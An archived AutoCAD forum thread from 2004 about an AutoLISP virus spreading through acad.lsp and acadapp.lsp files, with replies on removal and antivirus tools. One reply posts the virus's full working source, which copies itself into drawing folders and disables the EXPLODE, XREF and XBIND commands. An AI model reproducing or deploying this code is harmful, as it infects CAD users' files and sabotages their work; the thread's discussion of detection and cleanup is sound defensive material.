明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
楼主: kaixinmao

[原创]LSP病  毒???

  [复制链接]
发表于 2004-5-17 21:01:00 | 显示全部楼层
这个病毒很讨厌。
发表于 2004-5-19 09:09:00 | 显示全部楼层
我遇过这种情况,只要将acad.lsp,acadapp.lsp两个文件里的源码删除,再将它们改成只读属性,或者索性彻底给它删了,就解决了!
发表于 2004-6-1 14:01:00 | 显示全部楼层
hehe


没想到要学习好LISP还要先学会看病毒的哦
发表于 2004-7-2 18:04:00 | 显示全部楼层
我把代码整理过了,大家好好学习,但不要搞破坏! (defun s::startup (/ old_cmd path dwgpath mnlpath
apppath oldacad newacad nowdwg lspbj
wjm wjm1 wjqm wjqm1 wz
ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (subst path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path1 "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn
(while
(setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if
(and (= acadpath dwgpath)
(/= acadpath path)
)
(progn
(setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadapp.lsp")
)
(if (= lspbj 0)
(progn
(setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line
(strcat "(load" (chr 34) "acadapp" (chr 34) ")")
wjm
)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn
(if (/= nowdwg "Drawing.dwg")
(progn
(setq oldacad (findfile "acadapp.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(command "undefine" "explode")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun writeapp ()
(if
(setq wjm1 (open newacad "w"))
(progn
(setq wjm (open oldacad "r"))
(while
(setq wz (read-line wjm))
(write-line wz wjm1)
)
(close wjm)
(close wjm1)
)
)
)
(defun C:explode (/ p cont old_cmd)
(setq
old_cmd (getvar "cmdecho")
)
(setvar "cmdecho" 0)
(setq p (ssget))
(if
p
(progn
(setq cont (sslength p))
(princ "\nSeltctobjects:")
(princ cont)
(princ "found")
(princ "\n")
(princ cont)
(princ "was not able to be explode")
)
)
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xref (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xbind (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:burst (/ p old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(princ "\nBURST----将图块中的文字炸开后成为实体")
(setq p (ssget))
(setvar "cmdecho" old_cmd)
(princ)
)
(princ)
发表于 2004-7-23 15:12:00 | 显示全部楼层
奇怪,我还一直没有碰到这种情况,看来得注意啦
发表于 2004-7-30 18:56:00 | 显示全部楼层
有一个专用程序可以查找并删除你电脑里所有的LISP病毒,很好用!
发表于 2004-8-18 11:27:00 | 显示全部楼层
瑞星2004版的,可以杀这个病毒!!!!!!!!!我刚杀过,,不错。
发表于 2004-8-18 11:27:00 | 显示全部楼层
用瑞星2004升级版可以杀之!!!!
发表于 2004-9-3 12:53:00 | 显示全部楼层
我也碰道了这样的问题,那里下载这个软件能不能留个URL 或发我的邮箱yinheng110@163.com急需!!!!
发表于 2004-9-11 16:09:00 | 显示全部楼层
用瑞星可以杀之!!!!!
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-11-25 21:20 , Processed in 0.159734 second(s), 18 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表